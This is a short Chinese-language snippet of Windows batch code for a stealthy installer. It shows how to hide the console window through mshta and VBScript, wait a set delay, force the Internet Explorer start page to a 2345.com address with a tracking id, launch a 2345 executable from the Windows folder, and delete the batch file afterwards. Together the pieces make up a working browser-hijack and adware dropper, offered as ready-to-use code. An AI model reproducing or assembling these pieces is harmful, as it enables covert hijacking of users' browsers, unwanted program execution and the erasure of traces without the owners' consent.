bat窗口隐藏代码 方法二:用文本文档打开bat文件,在开头处写入 @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit :begin REM 等待时间执行代码 echo Wscript.Sleep Wscript.Arguments(0) * 1000>Delay.vbs Delay.vbs 20 del Delay.vbs echo OK! bat 主页修改代码 reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d http://www.2345.com/?k201314520 /f 运行代码和删除自我代码 start "" "C:\Windows\2345_k201314520_desk.exe" del %0